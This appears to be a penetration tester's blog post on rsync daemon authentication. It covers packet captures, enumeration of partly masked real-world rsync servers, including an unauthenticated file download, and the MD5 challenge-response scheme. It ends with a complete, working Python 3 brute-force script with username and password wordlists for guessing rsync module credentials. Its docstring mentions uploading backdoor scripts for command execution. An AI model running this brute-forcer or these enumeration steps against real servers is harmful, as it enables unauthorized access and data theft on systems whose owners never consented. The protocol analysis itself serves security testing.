I ran into rsync during a penetration test — it was password-protected. Brute-force scripts already existed (for example this one written by cdxy in the POC-T framework), but that script was written in Python 2, so I decided to rewrite it in Python 3 — and along the way I ended up analyzing how rsync authenticates. Here is a brief write-up.
Traffic Analysis
tcpdump -i eth0 net 47.*.*.142 -w access_denied.pcap -v
↑ ↑ ↑
NIC ip path of the file to write
Capturing packets with the command above and analyzing the traffic when connecting to rsync, after the server normally returns the rsync version information there are only a few possibilities: empty data, IP access restriction, unauthenticated download, or password-required access. Let’s analyze each one.
1. Empty Data
After the TCP connection is established, the server first responds with version information, with no paths or other data afterwards.
The command lines are as follows:
$ rsync rsync://222.*.*.163
welcome to zckj ECG service!
$ rsync rsync://222.*.*.163/
welcome to zckj ECG service!
The corresponding traffic is shown in the figure below:

2. IP Access Restriction
The server restricts which IPs may connect to the rsync service, returning @ERROR: access denied.
The command lines are as follows:
$ rsync rsync://47.*.*.142/
++++++++++++++++++++++++++++++++++++++++++++++
Welcome to use the posweb2 rsync services!
+++++++++++++++++++++++++++++++++++++++++++++
rhel4test
interface
default
posweb2
$ rsync rsync://47.*.*.142/default
++++++++++++++++++++++++++++++++++++++++++++++
Welcome to use the posweb2 rsync services!
+++++++++++++++++++++++++++++++++++++++++++++
@ERROR: access denied to default from unknown (x.x.x.x)
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
The corresponding packets are shown in the figure:

3. Unauthenticated File Viewing/Downloading
Files can be viewed or downloaded without a password.
The command lines are as follows:
rsync rsync://182.*.*.105/ftp/lnmp/js/cross_framing_protection.js -av cross_framing_protection.js
rsync rsync://182.*.*.105/
rsync rsync://182.*.*.105/frp/
rsync rsync://182.*.*.105/ftp/
After the server returns the version information, subsequent data contains file path information, along with some information about the rsync server itself:

As a side note, here is the content of cross_framing_protection.js:
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Conditionally included if framing is not allowed
*/
if (self == top) {
var style_element = document.getElementById("cfs-style");
style_element.parentNode.removeChild(style_element);
} else {
top.location = self.location;
}
4. Password Required to Access Files
A password is required to access files. Taking a password-protected rsync server as an example, login requires a password. To analyze how the password is transmitted, we enter 123 and 123456:
$ rsync rsync://115.*.*.9/
nagios
pxe
iso
ks
$ rsync rsync://115.*.*.9/ks
Password: 123
@ERROR: auth failed on module ks
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
$ rsync rsync://115.*.*.9/ks
Password: 123456
@ERROR: auth failed on module ks
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
// then entered `123456` two more times
The corresponding packet information is shown in the figure below:

To make it easier for everyone to analyze the encryption scheme, I’ve copied it below as well.
# 123
@RSYNCD: AUTHREQD +5i4JUkz2ILcsstkVvq+pw
root rzSmBKOaIrWVeeAqD9y3Qg
# 123456 [1]
@RSYNCD: AUTHREQD kr226cbR33Kp7oa/mBkD8Q
root sJO2OqB/FrX2AdzExhXRVg
# 123456 [2]
@RSYNCD: AUTHREQD 4zEjkjnHgAohsbmcGWDAIew
root ZQHyePox75RGlDOiSjWyyg
# 123456 [3]
@RSYNCD: AUTHREQD rmTUiaJNQD/5zenMBaiGuA
root gxAlH3oiZ1CgibVelnHanA
Now let’s analyze how rsync encrypts the password.
Encryption Scheme Analysis
From related materials we know that rsync uses MD5 encryption.
Through packet analysis, I confirmed that rsync version 31.0 also uses MD5 challenge encryption, same as 30.0:

With both the plaintext and the ciphertext sent during transmission in hand, we can start analyzing the encryption scheme. After analysis, it turns out the scheme is not complicated:
# final password expression
sentPassword = base64(md5(password+challenge))
Brute-Force Script
The core code is as follows. The code has been uploaded to GitHub at: https://github.com/hi-unc1e/some_scripts/blob/master/EXPs/rsync_weakpass.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''rsync weak password scanner.
rsync may have weak passwords. The PoC outputs 【folders accessible without authentication, usernames, passwords】 in msg. Unauthenticated rsync access brings two main risks: first, serious information disclosure; second, uploading backdoor script files for remote command execution.
'''
# copyright information
__author__ = "cdxy https://github.com/Xyntax"
__reference__ = "https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/rsync-weakpass.py"
__modifiedby__ = "unc1e"
import socket
import struct
import hashlib
import base64
import signal
# usernames and passwords
USER_LIST = ['root', 'Administrator', 'rsync', 'user', 'test']
PASS_LIST = ['', 'password', '123456', '12345678', 'qwerty', 'admin123', 'test123', '123456789']
# USER_LIST = ['root']
def initialisation(ip, port):
'''
Initialize and get the version info; the version info must be sent at the start of every session
'''
try:
flag = False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(8)
rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"}
payload = struct.pack("!8s5ss", rsync["MagicHeader"].encode("utf-8"), rsync["HeaderVersion"].encode("utf-8"), "\n".encode("utf-8")) # init
port = int(port)
s.connect((ip, port))
s.send(payload)
data = s.recv(1024)
# reply = struct.unpack('!8s5ss', data)
reply = data.decode()
if ("RSYNCD" in reply):
flag = True
version = reply.split(' ')[1].strip()#31.0
rsynclist = ClientQuery(s) # query module names
if flag:
return True, "@RSYNCD:", version, rsynclist
except Exception as e:
print('[-]rsync weakpass not found (brute failed)(%s)' % str(e))
def ClientQuery(socket_pre):
'''
Query all module names
@return module name
'''
s = socket_pre
payload = struct.pack("!s", "\n".encode('utf-8')) # query
modulelist = []
try:
s.send(payload)
while True:
data = s.recv(1024) # Module List lenth 17
moduletemp = struct.unpack("!" + str(len(data)) + "s", data)
modulename = moduletemp[0].decode().replace(" ", "").split("\n")
for i in range(len(modulename)):
realname = modulename[i].split("\t")
if realname[0] != "":
modulelist.append(realname[0])
if modulename[-2] == "@RSYNCD:EXIT":
break
except Exception as e:
print(e)
s.close()
s.close()
return modulelist
def ClientCommand(ip, port, cmd):
'''Wrapper method for brute-forcing the password
'''
rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"}
payload1 = struct.pack("!8s5ss", rsync["MagicHeader"].encode("utf-8"), rsync["HeaderVersion"].encode("utf-8"), "\n".encode("utf-8"))
# payload2 = struct.pack("!%ss" % (len(cmd)+1), cmd.encode("utf-8")+'\n'.encode("utf-8") )
payload2 = cmd.encode("utf-8")+'\n'.encode("utf-8")
pass_list = []
for i in USER_LIST:
pass_list.append((i, i))
for j in PASS_LIST:
pass_list.append((i, j))
for useri, pwdj in pass_list:
try:
user = useri.encode("utf-8")
password = pwdj.encode("utf-8")
# debug("try: %s,%s" %(useri,pwdj))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = int(port)
s.connect((ip, port))
# step1 get version and init
s.send(payload1)
s.recv(1024) # data @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g
# send cmd and generate the challenge code
s.send(payload2) # send client query
data = s.recv(1024) # data @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g
challenge = data[18:-1] # get challenge code
# encrypt and generate the payload3
md = hashlib.md5()
md.update(password)
md.update(challenge)
auth_send_data = base64.encodestring(md.digest())
payload3 = "%s %s\n" % (user.decode(), auth_send_data[:-3].decode())
payload3 = payload3.encode()
s.send(payload3)
data3 = s.recv(1024) # @RSYNCD: OK
s.close()
if 'OK' in data3.decode():
state = 1
if password == '':
msg = "Module:'%s' User/Password:%s/<empty>" % (cmd, user)
else:
msg = "Module:'%s' User/Password:%s/%s" % (cmd, user, password)
return state, msg
else:
continue
# try next user-pwd pair
except Exception as e:
# print('[-]rsync weakpass not found (brute failed)(%s)' % str(e))
s.close()
break
state = 0
msg = '[-]rsync weakpass not found (brute failed)'
return state, msg
def run(args):
msg = ''
state = 0
# param init
try:
ip = args.get('ip')
port = args.get("port", '873')
except Exception as e:
state = 0
msg = '[-]parse ip/port error(%s)' % str(e)
result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
return result
try:
res = initialisation(ip, port)
# (True, '@RSYNCD:', ' 31.0', ['share', '@RSYNCD:EXIT'])
if res[0]:
if res[2] < "30.0": # check version; login method for versions <30.0 is not supported
state = 0
msg = '[-]version not support'
result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
return result
for i in range(len(res[3]) - 1):
state, msg = ClientCommand(ip, port, res[3][i])
if 'Module:' in msg:
msg += msg
else:
msg = "[-]No Module Available"
result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
return result
else:
state = 0
msg = '[-]version not support'
result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
return result
except Exception as e:
state = 0
msg = '[-]vuln not found, error:(%s)' % str(e)
result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
return result
if __name__ == '__main__':
'''Fill in the brute-force target information here
'''
ip = '127.0.0.1'
port = '873'
args = {'ip': ip, 'port': port}
res = run(args)
print(res)
# {'ip': '127.0.0.1', 'port': '873', 'state': 1, 'msg': "Module:'Config' User/Password:b'rsync'/b'123456'Module:'Config' User/Password:b'rsync'/b'123456'"}